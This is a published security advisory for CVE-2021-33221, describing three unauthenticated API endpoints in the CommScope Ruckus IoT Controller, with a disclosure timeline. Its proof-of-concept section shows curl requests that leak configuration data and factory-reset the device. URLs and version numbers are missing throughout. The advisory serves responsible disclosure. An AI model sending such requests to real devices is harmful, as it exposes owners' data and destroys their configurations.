KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints  
Title: CommScope Ruckus IoT Controller Unauthenticated API Endpoints  
Advisory ID: KL-001-2021-001  
Publication Date: 2021.05.26  
Publication URL:  
1. Vulnerability Details  
Affected Vendor: CommScope  
Affected Product: Ruckus IoT Controller  
Affected Version: and earlier  
Platform: Linux  
CWE Classification: CWE-306: Missing Authentication for Critical Function  
CVE ID: CVE-2021-33221  
2. Vulnerability Description  
Three API endpoints for the IoT Controller are accessible  
without authentication. Two of the endpoints result in  
information leakage and consumption of computing/storage  
resources. The third API endpoint that does not require  
authentication allows for a factory reset of the IoT Controller.  
3. Technical Description  
A "service details" API endpoint discloses system and  
configuration information to an attacker without requiring  
authentication. This information includes DNS and NTP servers  
that the devices uses for time and host resolution. It also  
includes the internal hostname and IoT Controller version. A  
fully configured device in production may leak other, more  
sensitive information (API keys and tokens).  
Another API endpoint that can be accessed without authentication  
can be used to generate diagnostic/support files. The process  
of generating these diagnostic files consumes CPU and disk  
utilization. The files can be retrieved, but are encrypted.  
The third API endpoint that can be accessed without  
authentication will reset the virtual appliance back in to a  
factory reset condition - removing the current configuration  
of the device.  
4. Mitigation and Remediation Recommendation  
The vendor has released an updated firmware ( which  
remediates the described vulnerability. Firmware and release  
notes are available at:  
5. Credit  
This vulnerability was discovered by Jim Becher (@jimbecher)  
of KoreLogic, Inc.  
6. Disclosure Timeline  
2021.03.30 - KoreLogic submits vulnerability details to  
2021.03.30 - CommScope acknowledges receipt and the intention  
to investigate.  
2021.04.06 - CommScope notifies KoreLogic that this issue,  
along with several others reported by KoreLogic,  
will require more than the standard 45 business  
day remediation timeline.  
2021.04.06 - KoreLogic agrees to extend disclosure embargo if  
2021.04.30 - CommScope informs KoreLogic that remediation for  
this vulnerability will be available inside of the  
standard 45 business day timeline. Requests  
KoreLogic acquire CVE number for this  
2021.05.14 - 30 business days have elapsed since the  
vulnerability was reported to CommScope.  
2021.05.17 - CommScope notifies KoreLogic that the patched  
version of the firmware will be available the week  
of 2021.05.24.  
2021.05.19 - KoreLogic requests CVE from MITRE.  
2021.05.19 - MITRE issues CVE-2021-33221.  
2021.05.25 - CommScope releases firmware and associated  
2021.05.26 - KoreLogic public disclosure.  
7. Proof of Concept  
$ curl -k  
{"message": {"ok": 1, "data": {"visionline_password": "sym", "is_vm": true, "dns2": "", "ibm_gateway_token":  
"-", "ntp_server": "", "visionline_username": "sym", "vm_reset_pwd": "0", "gateway": "",  
"visionline_ip": "-", "netmask": "", "ip_address": "", "hostname": "vriot", "version":  
"", "ntp_state": "1", "ibm_enabled": "0", "visionline_port": "443", "ibm_org_id": "-", "vm_n1_mode": "0",  
"aa_enabled": "0", "ibm_api_token": "-", "cert_expire": "Oct 21 10:09:23 2030 GMT", "common_name":  
"local-mqtt.video54.local", "dns": "", "ibm_gateway_type": "-", "ibm_gateway_id": "-", "ibm_api_key": "-",  
"ipv4_mode": "1", "datetime": "01/07/2021 18:46:13"}}}  
$ curl -k  
{"message": {"fileName": "/static/diagnostic/diagnostic_2021-01-07-18-46-58.tar.gz", "ok": 1}}  
A POST to the /reset URL does not require authentication:  
def reset():  
Resets the system to factory condition.  
This was tested and confirmed.  
$ curl -k -X POST  
curl: (52) Empty reply from server  
$ ping  
PING ( 56(84) bytes of data.  
From icmp_seq=1 Destination Host Unreachable  
--- ping statistics ---  
3 packets transmitted, 0 received, +1 errors, 100% packet loss, time 2014ms  
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